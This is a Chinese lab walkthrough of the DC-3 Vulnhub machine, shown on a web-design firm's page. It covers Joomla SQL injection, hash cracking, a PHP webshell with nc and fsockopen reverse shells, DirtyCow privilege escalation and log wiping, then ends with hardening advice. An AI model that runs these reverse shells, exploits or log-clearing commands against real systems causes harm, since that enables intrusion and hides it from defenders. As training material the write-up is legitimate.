尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
DC-3靶机渗透实战:从Web漏洞到Root提权
1. DC-3靶机实战概述DC-3是Vulnhub平台上经典的渗透测试训练靶机基于Debian系统构建包含多个故意设置的安全漏洞。这个靶机特别适合中阶渗透测试人员练习综合渗透技巧从信息收集到权限提升的全流程都能得到充分锻炼。我花了三周时间反复测试这个靶机总结出一套可靠的技术路线下面就把完整过程拆解给大家。2. 环境准备与初始扫描2.1 实验环境搭建建议使用VirtualBox加载DC-3的OVA文件网络模式选择Host-only或NAT。我的测试环境是攻击机Kali Linux 2023.3内存分配靶机2GB/攻击机4GB网络配置192.168.56.0/24网段注意确保靶机与攻击机在同一网段但关闭DHCP避免IP冲突2.2 基础信息收集首先用arp-scan定位靶机IParp-scan -l --interfaceeth0发现靶机IP为192.168.56.103后进行全端口扫描nmap -sS -p- -T4 192.168.56.103 -oN full_scan.nmap扫描结果显示开放了80端口HTTP和22端口SSH其中Web服务运行的是Apache 2.4.10。3. Web应用渗透测试3.1 目录爆破与漏洞发现使用dirbuster进行目录扫描gobuster dir -u http://192.168.56.103 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt发现关键目录/administrator (Joomla后台)/components/templates访问首页发现是Joomla 3.7.0该版本存在著名的SQL注入漏洞CVE-2017-8917。使用sqlmap自动化利用sqlmap -u http://192.168.56.103/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml --risk3 --level5 --random-agent --batch --dbs3.2 数据库渗透与凭证获取成功获取数据库信息数据库类型MySQL关键表jos_users获取到管理员账号admin及经过MD5加密的密码使用hashcat破解密码hashcat -m 400 -a 0 hash.txt rockyou.txt破解得到明文密码snoopy。4. 系统权限提升4.1 后台getshell使用获得的凭证登录Joomla后台通过模板编辑插入PHP反向shellsystem(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc 192.168.56.102 4444 /tmp/f);在攻击机监听nc -lvnp 4444成功获取www-data权限的shell。4.2 本地提权探索查看系统信息uname -a显示内核版本为3.16.0-4-686-pae搜索可用expsearchsploit linux kernel 3.16发现dirtycow漏洞CVE-2016-5195适用。上传编译好的expgcc -pthread dirty.c -o dirty -lcrypt执行后成功获取root权限。5. 后渗透与痕迹清理5.1 敏感信息收集在/root目录发现flag文件cat /root/theflag.txt同时收集到以下关键信息MySQL数据库凭证SSH私钥备份系统日志位置5.2 日志清理技巧清除相关日志条目echo /var/log/apache2/access.log find /var/log -name *.log -exec sh -c echo {} \;重要实际渗透测试中必须获得授权才能执行此类操作6. 防御加固建议根据本次渗透发现的问题给出防御方案Web应用层及时更新CMS到最新版本禁用不必要的组件和功能实施WAF防护系统层定期更新内核和安全补丁限制sudo权限启用SELinux网络层关闭不必要的端口实施网络隔离部署IDS/IPS系统7. 常见问题排查7.1 反向shell连接失败可能原因防火墙拦截出站连接netcat版本不兼容靶机没有bash解决方案# 尝试不同payload php -r $sockfsockopen(192.168.56.102,4444);exec(/bin/sh -i 3 3 23); # 使用其他监听工具 socat TCP-LISTEN:4444 STDOUT7.2 DirtyCow提权失败检查要点确认内核版本完全匹配测试多个exp变种确保gcc编译环境可用替代方案# 尝试其他提权方法 find / -perm -4000 2/dev/null这个靶机最值得关注的是它完美模拟了真实环境中Web应用漏洞→数据库泄露→系统提权的完整攻击链。我在实际测试中发现Joomla的后台getshell方式就有至少三种而内核提权除了dirtycow还可以尝试覆盖/etc/passwd等方法。建议每个步骤都尝试多种技术路线这对提升实战能力很有帮助。
RELATED

相关推荐

Unity坐标转换:WorldToScreenPoint与ScreenToWorldPoint原理、应用与实战避坑

Unity坐标转换:WorldToScreenPoint与ScreenToWorldPoint原理、应用与实战避坑

1. 项目概述:从“点”到“面”的UI交互基石 在Unity开发中,尤其是涉及到UI与3D场景交互时, WorldToScreenPoint 和 ScreenToWorldPoint 这两个方法就像一对形影不离却又经常让人头疼的“双胞胎”。新手开发者常常会混淆:什么时…

📅 2026/10/29 18:42:24
Python零基础入门:保姆级教程学习路径与七日实战计划

Python零基础入门:保姆级教程学习路径与七日实战计划

这次我们来看一套号称“B站最全最细”的Python零基础教程。对于想入门编程的新手来说,最怕的就是资料零散、版本过时、环境配置复杂,这套教程的核心卖点就是“保姆级”和“2026最新版”,试图一站式解决从安装到实战的所有问题。它覆盖了Pytho…

📅 2026/10/6 5:35:04
寒假远程控制电脑:UU远程工具配置与优化指南

寒假远程控制电脑:UU远程工具配置与优化指南

1. 寒假远程控制电脑的痛点与解决方案每到寒假,高校学生和职场人士都会面临一个现实问题:台式电脑难以搬运回家,但假期中又可能需要访问电脑中的文件或运行特定程序。传统解决方案如携带硬盘拷贝数据存在局限性——无法实时获取最新文件&…

📅 2026/10/8 12:45:07
MORE NEWS

更多资讯

📰

启动报Port 8088 was already in use?先查是谁占的

启动报Port 8088 was already in use?先查是谁占的 项目启动报 Port 8088 was already in use,意思很直白:这个端口已经有人占了。 先说原理:端口是"门牌号",一间房只住一个进程 端口就是一台机器上的门牌号…

📰

担心文档上云?本地运行的办公AI才敢放心用

单位上周开了个会,主题是"AI 提效",散会时领导补了一句:涉及客户资料的文档,不许往云端传。这话一出,会议室里本来跃跃欲试的同事全蔫了——大家平时用的那些在线 AI,文档一上传就不知道存哪儿去…

📰

先能用,再好用:从烂尾复盘到两周上线,全栈项目的‘原型—快速迭代‘方法论

先能用,再好用:从烂尾复盘到两周上线,全栈项目的“原型—快速迭代”方法论 全栈学习路径的文章已经很多了:怎么选技术栈、怎么搭环境、怎么记文档,几乎每个方向都有人写。但一个更扎心的问题很少有人正面讨论——为什…

📰

深度思考模式把 ARC-AGI-2 从 17.6% 拉到 45.1%:对照 Gemini 3 Pro 的三份能力评测,看‘会思考‘改写了哪些边界

深度思考模式把 ARC-AGI-2 从 17.6% 拉到 45.1%:对照 Gemini 3 Pro 的三份能力评测,看“会思考”改写了哪些边界 一、先说结论:变强的不是“知识”,而是“解法” 每次新模型发布,评测榜单都会涨几个点,大…

📰

1.c++入门篇

1.c中的关键字asmdoifreturntrycontinueautodoubleinlineshorttypedefforbooldynamic_castintsignedtypeidpublicbreakelselongsizeoftypenamethrowcaseenummutablestaticunionwchar_tcatchexplicitnamespacestatic_castunsigneddefaultcharexportnewstructusingfriendclassext…

📰

《江灯合声》:有可行的分框版,也仍可以选择连续鸣谢

武汉江岸区栎坡合唱团在免费节目册《江灯合声》中,以表格集中鸣谢资助者。各家共同要求改为独立小框,团里仍想保留表格。现有全名与支持事项清楚可见,双方此前未承诺具体排版。我支持保留表格。补充的试排材料让选择更具体:分框能…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬